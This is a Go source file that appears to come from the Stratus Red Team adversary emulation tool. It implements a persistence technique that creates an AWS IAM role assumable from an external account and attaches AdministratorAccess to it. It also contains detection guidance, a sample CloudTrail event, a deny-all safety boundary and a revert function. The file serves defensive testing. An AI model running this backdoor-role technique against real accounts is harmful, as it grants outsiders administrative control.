/
main.go
127 lines (103 loc) · 4.38 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
package aws
import (
"context"
_ "embed"
"errors"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"log"
)
//go:embed malicious_trust_policy.json
var maliciousTrustPolicy string
var roleName string = "stratus-red-team-malicious-iam-role"
var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess"
func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.persistence.iam-create-backdoor-role",
FriendlyName: "Create a backdoored IAM Role",
Description: `
Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from
an external, fictitious attack AWS account.
Warm-up: None.
Detonation:
- Create a new IAM role with the following trust policy:
` + codeBlock + `json
` + maliciousTrustPolicy + `
` + codeBlock + `
- Attach the 'AdministratorAccess' managed IAM policy to it.
*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching it an empty permissions boundary..*
References:
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
`,
Detection: `
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
which generates a finding when a role can be assumed from a new AWS account or publicly.
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy.
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event:
` + codeBlock + `
{
"eventSource": "iam.amazonaws.com",
"eventName": "CreateRole",
"requestParameters": {
"roleName": "malicious-iam-role",
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}"
}
}
` + codeBlock + `
`,
Platform: stratus.AWS,
IsIdempotent: false, // cannot create twice a role with the same name
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
Detonate: detonate,
Revert: revert,
})
}
func detonate(_ map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
log.Println("Creating a malicious IAM role")
input := &iam.CreateRoleInput{
RoleName: &roleName,
AssumeRolePolicyDocument: &maliciousTrustPolicy,
PermissionsBoundary: aws.String("arn:aws:iam::aws:policy/AWSDenyAll"),
}
_, err := iamClient.CreateRole(context.Background(), input)
if err != nil {
return errors.New("Unable to create IAM role: " + err.Error())
}
log.Println("Backdoor IAM role created: " + roleName)
attachPolicyInput := &iam.AttachRolePolicyInput{
RoleName: &roleName,
PolicyArn: &adminPolicyArn,
}
_, err = iamClient.AttachRolePolicy(context.Background(), attachPolicyInput)
if err != nil {
log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err)
}
log.Println("AdministratorAccess policy attached successfully")
return nil
}
func revert(_ map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
detachPolicyInput := &iam.DetachRolePolicyInput{
RoleName: &roleName,
PolicyArn: &adminPolicyArn,
}
_, err := iamClient.DetachRolePolicy(context.Background(), detachPolicyInput)
if err != nil {
return errors.New("Unable to detach policy from IAM role: " + err.Error())
}
log.Println("Policy detached from IAM role: " + roleName)
log.Println("Deleting IAM role " + roleName)
input := &iam.DeleteRoleInput{
RoleName: &roleName,
}
_, err = iamClient.DeleteRole(context.Background(), input)
if err != nil {
return errors.New("Unable to delete IAM role: " + err.Error())
}
log.Println("IAM role deleted: " + roleName)
return nil
}